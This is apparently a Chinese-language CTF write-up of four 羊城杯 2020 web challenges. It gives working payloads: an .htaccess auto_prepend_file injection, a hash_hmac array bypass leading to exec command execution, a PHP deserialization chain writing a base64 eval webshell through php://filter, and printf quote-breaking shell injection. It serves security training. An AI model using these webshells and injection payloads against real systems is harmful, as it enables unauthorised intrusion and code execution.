您当前的位置: 首页 > 

暂无认证

  • 14浏览

    0关注

    93978博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[羊城杯 2020] Web

发布时间:2022-10-03 01:07:38 ,浏览量:14

easycon

打开就是

image-20220929165918918

扫出来个index.php然后访问

image-20220929210248765

image-20220929170012967

提示eval post cmd,看来是post了个cmd可以执行命令

找到bbbbbbbbb.txt文件,用base64解码得到包含flag的图片

image-20220930155122556 image-20220930155610839 easyphp

源码

 if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?> 

也是2019的某道题,首先看提供了一个file_put_contents()

那就想通过file_put_contents函数来写入木马 ,那他肯定不让你写,对 f i l e n a m e 和 filename和 filename和content都有过滤

先看题目逻辑,会清除目录下除了index.php的所有文件 ,而且只有一次写的机会,因为想要第二次写的话,就会把第一次写的东西给清了

文件名限制了只能是[a-z]和‘.’,而且题目环境设置了只有index.php文件解析,其他php文件不解析,想到的就是写一个.htaccess文件

写.htaccess文件的困难主要在于过滤了file,on,type之类的,.htaccess文件的内容需要被过滤的file

然后$content后面还追加了个"\nHello,world",这里也要注释掉

1,绕$content过滤

绕过stristr()的检测

利用添加 \ 的方法来换行书写,利用这种方法来处理过滤的关键字 
Fi\
Le
就是file

利用php_value auto_prepend_file .htaccess让php文件包含htaccess文件,htaccess里的代码会执行

所有写入的内容如下

php_value auto_prepend_fil\ 
e .htaccess #\  

下面来解释一下 php_value auto_prepend_file 是用来在页面底部加载文件的 这也是为什么我们要去写入#\ 在文件底部

而#应该是.hatccess文件特有的写入形式,没有的话会直接报错500

最后那个/是用来转意换行符的

如果不用\转义则,写进去的效果是

php_value auto_prepend_fil\ 
e .htaccess #\  Hello, world

不符合写入格式,进而无法解析

payload:

/?filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\
Blackcat
数组绕过

image-20220930162939039

下载MP3然后文本打开,最下面藏了一段php代码

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('谁!竟敢踩我一只耳的尾巴!'); } $clandestine = getenv("clandestine"); if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine); if($hh !== $_POST['Black-Cat-Sheriff']){ die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。'); } echo exec("nc".$_POST['One-ear']); 

1,必须传入Black-Cat-Sheriff和One-ear

2,getenv()函数定义:取得系统的环境变量; 3,用hash_hmac()和 c l a n d e s t i n e 生成新的 clandestine生成新的 clandestine生成新的clandestine ,再用新的 c l a n d e s t i n e 生成 clandestine生成 clandestine生成hh

我们要控制Black-Cat-Sheriff来与 h h 相等,就要通过传入 W h i t e − c a t − m o n i t o r 和 O n e − e a r 预测 hh相等,就要通过传入White-cat-monitor和One-ear预测 hh相等,就要通过传入White−cat−monitor和One−ear预测hh的值

看hash_hmac()

hash_hmac — 使用 HMAC 方法生成带有密钥的哈希值

string hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] )
参数
algo
要使用的哈希算法名称,例如:"md5","sha256","haval160,4" 等。 如何获取受支持的算法清单,请参见 hash_algos() 。
data
要进行哈希运算的消息。
key
使用 HMAC 生成信息摘要时所使用的密钥。

raw_output
设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串

当传入的$data为数组时,加密得到的结果固定为NULL;那么第二次的hash_hmac就是可控的.

image-20220930171810384

利用这个点,生成密钥为NULL,那么第二次的哈希值$hh我们就能运行出来

image-20220930173509599

很奇怪ls没列出flag的文件名,直接cat就行了

image-20220930173449940

easyser

SSRF LFI 反序列化 死亡exit

robots.txt

image-20220930175656345

star1.php

image-20220930175750819

image-20220930175759575

不安全的协议http,要利用 SSRF 才能访问到 ser.php

/star1.php?path=http://127.0.0.1/ser.php

得到源码

 highlight_file(__FILE__); } $flag='{Trump_:"fake_news!"}'; class GWHT{ public $hero; public function __construct(){ $this->hero = new Yasuo; } public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } } } class Yongen{ //flag.php public $file; public $text; public function __construct($file='',$text='') { $this -> file = $file; $this -> text = $text; } public function hasaki(){ $d = ''; $a= $d. $this->text; @file_put_contents($this-> file,$a); } } class Yasuo{ public function hasaki(){ return "I'm the best happy windy man"; } } ?> 

没有反序列化入口

新知识,还可以扫描http的参数

pip3 install arjun
arjun -u URL
image-20220930201004177

我这里扫不出来,日了

看别人wp 扫出来c参数

直接构造链子吧,目的肯定是通过file_put_contents( t h i s − > f i l e , this-> file, this−>file,a);写入马执行命令

逻辑简单,通过__toString()调用hasaki(),如何调用toString其实就是c参数传参,echo触发

附上c参数的逻辑 $c=$_GET['c']; if(isset($c)){ echo $x = unserialize($c); //echo 的时候会触发 __toString() 魔术方法 } else{ echo "your hat is too black!"; } 

利用php伪协议绕过死亡die() ,构造pop如下

 public $hero; } class Yongen{ //flag.php public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php"; public $text="PD9waHAgZXZhbCgkX1BPU1RbJ2ZsYWcnXSk7Pz4="; /* 的base64编码*/ } $a = new GWHT(); $a->hero=new Yongen(); echo serialize($a); 
image-20220930215213651

利用php伪协议绕过死亡die() ,用php伪协议以写入base64数据然后自动解码,前面的死亡die()就被忽略了

image-20220930212810436

那么aaa.php得到PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs=

Easyphp2

LFI 短标签

image-20220930230239794

http://1.14.71.254:28101/?file=GWHT.php

这个url看起来就像是文件包含伪协议读文件

image-20220930230728671

是有过滤,看wp把base64两次url编码后,就能读到了

image-20220930231112349

还有个协议也可以?file=php://filter/convert.quoted-printable-encode/resource=GWHT.php

得到源码

<?php ini_set('max_execution_time', 5); if ($_COOKIE['pass'] !== getenv('PASS')) { setcookie('pass', 'PASS'); die('
		
			'.''.'
			
				'.'
'.'
				
					'.'404'.'
					
						'.'
'.'Sorry, only people from GWHT are allowed to access this website.'.'23333'); } ?> <?php if (isset($_GET["count"])) { $count = $_GET["count"]; if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){ die('hacker!'); } echo "
						
							The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "
						
"; } ?> 
					

				

			

		

然后第一段意思就是cookie不能为PASS,根据首页提示要等于GWHT

image-20220930232747191

这个框就是count传参的地,效果是counter也就是计数器,返回字符串长度

利用exec('printf \'' . $count . '\' | wc -c')来getshell

去掉转义符就是 printf ' . $count . ' | wc -c

wc命令

wc -c或–bytes或–chars 只显示Bytes数,这就实现了计数器的功能

我们目前是想要执行命令并不想让他计数,考虑注释掉,但是#被过滤

这个时候可以考虑||管道符,只执行前面命令,|管道符是正确执行前面命令然后执行后面命令

printf ''| ls || '' | wc -c  管道符|结束printf''的命令 接着执行ls
测试如果输入 aaa'||'就行成 printf'aaa' || ' ' | wc -c  就输出aaa

image-20220930233536812

顺利执行命令

写shell进去也是一样的道理," > shell.php || ' ' | wc -c

但是这一步卡住了,一直进不去

如果顺利的话应该能蚁剑连接,没有权限打开flag,然后终端用su命令读文件

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

用户名:GWHT   密码:GWHTCTF
关注
打赏
1655516835
查看更多评论
立即登录/注册

微信扫码登录

0.0525s